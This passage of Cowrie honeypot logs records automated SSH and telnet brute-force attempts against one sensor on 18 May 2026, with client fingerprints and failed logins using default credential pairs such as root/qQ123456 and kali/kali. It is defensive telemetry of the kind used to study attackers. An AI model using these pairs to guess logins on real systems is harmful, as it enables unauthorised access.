rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:44.776527Z","src_ip":"83.168.110.85","session":"5518911a8598","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:45.145255Z","src_ip":"83.168.110.85","session":"5518911a8598","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:46.287727Z","src_ip":"83.168.110.85","session":"5518911a8598","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.241790533065796,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:47.140779Z","src_ip":"176.65.139.118","session":"bc31247b1643","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":50234,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fe7197ce3ee","protocol":"telnet","message":"New connection: 176.65.139.118:50234 (159.203.135.109:23) [session: 6fe7197ce3ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:47.264575Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":44242,"dst_ip":"10.17.0.5","dst_port":22,"session":"e37177bcff54","protocol":"ssh","message":"New connection: 83.168.110.85:44242 (10.17.0.5:22) [session: e37177bcff54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:51.600093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:51.605059Z","src_ip":"83.168.110.85","session":"e37177bcff54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:51.727065Z","src_ip":"83.168.110.85","session":"e37177bcff54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:52.253816Z","src_ip":"83.168.110.85","session":"e37177bcff54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:53.378713Z","src_ip":"83.168.110.85","session":"e37177bcff54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43750,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7cba33b25aa","protocol":"ssh","message":"New connection: 83.168.110.85:43750 (10.17.0.5:22) [session: b7cba33b25aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:58.362491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:58.511530Z","src_ip":"83.168.110.85","session":"b7cba33b25aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:58.515460Z","src_ip":"83.168.110.85","session":"b7cba33b25aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:59.121737Z","src_ip":"83.168.110.85","session":"b7cba33b25aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:00.269658Z","src_ip":"83.168.110.85","session":"b7cba33b25aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.408116340637207,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:01.672596Z","src_ip":"176.65.139.118","session":"6fe7197ce3ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":51956,"dst_ip":"159.203.135.109","dst_port":23,"session":"d027fe748a92","protocol":"telnet","message":"New connection: 176.65.139.118:51956 (159.203.135.109:23) [session: d027fe748a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:01.864036Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57416,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b8162c1b43a","protocol":"ssh","message":"New connection: 83.168.110.85:57416 (10.17.0.5:22) [session: 4b8162c1b43a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:05.665250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:05.669410Z","src_ip":"83.168.110.85","session":"4b8162c1b43a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:05.789974Z","src_ip":"83.168.110.85","session":"4b8162c1b43a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:06.156043Z","src_ip":"83.168.110.85","session":"4b8162c1b43a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:07.346380Z","src_ip":"83.168.110.85","session":"4b8162c1b43a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57418,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa79a0c9d5e5","protocol":"ssh","message":"New connection: 83.168.110.85:57418 (10.17.0.5:22) [session: aa79a0c9d5e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:12.602669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:12.607670Z","src_ip":"83.168.110.85","session":"aa79a0c9d5e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:12.729633Z","src_ip":"83.168.110.85","session":"aa79a0c9d5e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:13.094236Z","src_ip":"83.168.110.85","session":"aa79a0c9d5e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:14.235122Z","src_ip":"83.168.110.85","session":"aa79a0c9d5e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":34800,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c9a8eb28252","protocol":"ssh","message":"New connection: 83.168.110.85:34800 (10.17.0.5:22) [session: 9c9a8eb28252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:19.574545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:19.579618Z","src_ip":"83.168.110.85","session":"9c9a8eb28252","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:19.701902Z","src_ip":"83.168.110.85","session":"9c9a8eb28252","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:20.196184Z","src_ip":"83.168.110.85","session":"9c9a8eb28252","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:21.326715Z","src_ip":"83.168.110.85","session":"9c9a8eb28252","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":37740,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec6d6a3dc710","protocol":"ssh","message":"New connection: 176.65.148.108:37740 (159.203.135.109:22) [session: ec6d6a3dc710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:23.098354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:23.414339Z","src_ip":"176.65.148.108","session":"ec6d6a3dc710","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:23.419659Z","src_ip":"176.65.148.108","session":"ec6d6a3dc710","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56270,"dst_ip":"10.17.0.5","dst_port":22,"session":"90a3f7dd534c","protocol":"ssh","message":"New connection: 83.168.110.85:56270 (10.17.0.5:22) [session: 90a3f7dd534c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:26.850669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:26.856264Z","src_ip":"83.168.110.85","session":"90a3f7dd534c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:26.979236Z","src_ip":"83.168.110.85","session":"90a3f7dd534c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:27.341784Z","src_ip":"83.168.110.85","session":"90a3f7dd534c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:28.655016Z","src_ip":"83.168.110.85","session":"90a3f7dd534c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56284,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5692cfbccdb","protocol":"ssh","message":"New connection: 83.168.110.85:56284 (10.17.0.5:22) [session: c5692cfbccdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:33.836009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:33.847446Z","src_ip":"83.168.110.85","session":"c5692cfbccdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:33.968291Z","src_ip":"83.168.110.85","session":"c5692cfbccdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:34.334872Z","src_ip":"83.168.110.85","session":"c5692cfbccdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:35.627965Z","src_ip":"83.168.110.85","session":"c5692cfbccdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":44344,"dst_ip":"10.17.0.5","dst_port":22,"session":"6510dbb2ac73","protocol":"ssh","message":"New connection: 83.168.110.85:44344 (10.17.0.5:22) [session: 6510dbb2ac73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:40.839142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:40.844505Z","src_ip":"83.168.110.85","session":"6510dbb2ac73","protocol":"ssh"}
